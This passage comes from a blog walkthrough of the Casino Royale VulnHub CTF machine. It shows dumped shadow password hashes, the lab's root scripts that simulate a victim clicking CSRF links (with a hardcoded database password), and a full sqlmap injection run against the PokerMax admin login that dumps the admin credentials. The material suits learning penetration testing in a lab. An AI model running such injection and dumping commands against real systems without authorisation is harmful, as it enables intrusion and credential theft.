valenka:$6$FUfxUs.C$EE/hxO//0Q43sK8vecupbNiJM3918KVStI4TC4ktJlrljA36DFnb8itdUjsaOCvX/sxssL0xsyldH7X7UZAIf.:17852:0:99999:7::: postfix:*:17853:0:99999:7::: ftp:*:17909:0:99999:7::: ftpUserULTRA:$6$BRKNJt95$sBx7f3RuYep1XBV4XUIsh4p3inoJpVdTVGewCBy53OC5L2jIaVBamWNDXuVCq8WsVYz.KzxnDN2nLKUhRaN.f0:17948:0:99999:7:::
.
There were some neat scripts in the ctf-scripts, including one that explained my initial issues with the CSRF e-mail.
root@casino:/root# cat ctf-scripts/* cat ctf-scripts/* #!/bin/bash while true do /bin/bash /root/ctf-scripts/ck.sh sleep 120 done #!/bin/bash qck=$(ls /home/valenka/Maildir/new/) if [ -z "$qck" ]; then echo "empty" exit fi for mess in /home/valenka/Maildir/new/*; do m=$(cat $mess) sub=$(echo "${m}" |grep subject) v=$(echo "${sub}" |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios) if [ -z "$v" ]; then echo "no good" rm $mess exit else cd /root/ctf-scripts/ echo "good" badurl=$(cat $mess |grep http) fna=$(echo "$mess" |rev | cut -d '/' -f1 |rev) #echo "$fna" cop=$(cp /root/ctf-scripts/ok.js /root/ctf-scripts/$fna.js) #echo "var newurl=http://192.168.178.143/casino/bad.html'" >> $fna.js echo "var newurl='""${badurl}""'" >> $fna.js echo 'casper.thenOpen(newurl, function() {' >> $fna.js echo ' console.log("new pageloaded");'>> $fna.js echo '});' >> $fna.js echo 'casper.then(function() {' >> $fna.js # echo ' casper.click('input[type="submit"]');' >> $fna.js x=$(echo " casper.click('input[") y=$(echo 'type="submit"]') z=$(echo "');") echo $x$y$z >> $fna.js echo '});' >> $fna.js echo 'casper.run();' >> $fna.js /root/node_modules/casperjs/bin/casperjs $fna.js sleep 3 mysql -h "localhost" -u "valenka" "-p11archives11!" "vip" < "/root/ctf-scripts/enab.sql" rm /root/ctf-scripts/$fna.js rm $mess fi done sleep 120 #!/bin/bash for mess in /home/valenka/Maildir/new/*; do m=$(cat $mess) sub=$(echo "${m}" |grep subject) v=$(echo "${sub}" |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios) if [ -z "$v" ]; then echo "no good" else echo "good" fna=$(echo "$mess" |rev | cut -d '/' -f1 |rev) #echo "$fna" cop=$(cp ok.js $fna.js) echo "var newurl='http://localhost/bad.html'" >> $fna.js echo 'casper.thenOpen(newurl, function() {' >> $fna.js echo ' console.log("new pageloaded");'>> $fna.js echo '});' >> $fna.js echo 'casper.run();' >> $fna.js casperjs $fna.js sleep 3 #rm $fna.js fi #v=$(cat $m |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios) #if grep -i $mess; then done UPDATE sfc_user_accounts SET status = 1 WHERE status is NULL; var casper = require('casper').create({ verbose: true, logLevel: 'debug', pageSettings: { loadImages: false, // The WebPage instance used by Casper will loadPlugins: false, // use these settings userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4' } }); // print out all the messages in the headless browser context casper.on('remote.message', function(msg) { this.echo('remote message caught: ' + msg); }); // print out all the messages in the headless browser context casper.on("page.error", function(msg, trace) { this.echo("Page Error: " + msg, "ERROR"); }); var url = 'http://casino-royale.local/vip-client-portfolios/?uri=signin'; //var newurl= 'http://localhost/index.php' casper.start(url, function() { console.log("page loaded"); //this.test.assertExists('form#login_form', 'form is found'); this.fill('form#signInForm', { emailAddress: '[email protected]', password: 'ilikepoker007' }, true); }); casper.thenEvaluate(function(){ console.log("Page Title " + document.title); // console.log("Your name is " + document.querySelector('.headerTinymanName').textContent ); }); //casper.thenOpen(newurl, function() { // console.log("new pageloaded"); //}); //casper.thenEvaluate(function(){ // console.log("Page Title " + document.title); //}); //casper.run(); var page = require('webpage').create(); var host = "127.0.0.1"; var url = "http://"+host+"/svc-inq/salesmoon-gui.php"; var timeout = 10000; page.onNavigationRequested = function(url, type, willNavigate, main) { console.log("[URL] URL="+url); }; page.settings.resourceTimeout = timeout; page.onResourceTimeout = function(e) { setTimeout(function(){ console.log("[INFO] Timeout") phantom.exit(); }, 1); }; page.open(url, function(status) { console.log("[INFO] rendered page"); setTimeout(function(){ phantom.exit(); }, 10000); });
As a final bonus, I later realized that the PokerMax login page was also vulnerable to SQL injection. I’m not sure if this is actually disclosed, since I wasn’t able to find it during my initial search.
root@kali:~/casino sqlmap -u 'http://192.168.171.4/pokeradmin/index.php' --data='op=adminlogin&username=admin&password=admin' --level 5 --risk 3 --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.2.7#stable} |_ -| . [(] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 14:35:17 [14:35:18] [INFO] testing connection to the target URL [14:35:18] [INFO] heuristics detected web page charset 'ISO-8859-2' [14:35:18] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [14:35:18] [INFO] testing if the target URL content is stable [14:35:19] [INFO] target URL content is stable [14:35:19] [INFO] testing if POST parameter 'op' is dynamic [14:35:19] [WARNING] POST parameter 'op' does not appear to be dynamic [14:35:19] [INFO] heuristics detected web page charset 'ascii' [14:35:19] [WARNING] heuristic (basic) test shows that POST parameter 'op' might not be injectable ... Database: pokerleague Table: pokermax_admin [1 entry] +----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+ | id | username | password | league_name | league_email | league_information | league_tournament_director | +----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+ | 1 | admin | raise12million | Casino Royale | NA | Elite High-stakes Texas Hold em located at the Casino Royale in Montenegro. Please use our Domain name when accessing this site: casino-royale.local | Le | +----+----------+----------------+---------------+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------+ [15:57:12] [INFO] table 'pokerleague.pokermax_admin' dumped to CSV file '/root/.sqlmap/output/192.168.171.4/dump/pokerleague/pokermax_admin.csv' [15:57:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.171.4' [*] shutting down at 15:57:12
This was a fun VM, and I’m glad I got back to doing another VulnHub write-up.
While it took a bit longer, there were plenty of challenges and potential shortcuts along the way.
If you’d like to see more of these, then feel free to suggest specific VMs that you want to see solutions for!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
I am unable to login into VM or casino royale. Can someone help me out with credentials ??
There are no credentials to start. You are meant to attack this VM remotely, from another system.
[…] Casino Royale VulnHub Walkthrough – Bond, James Bond […]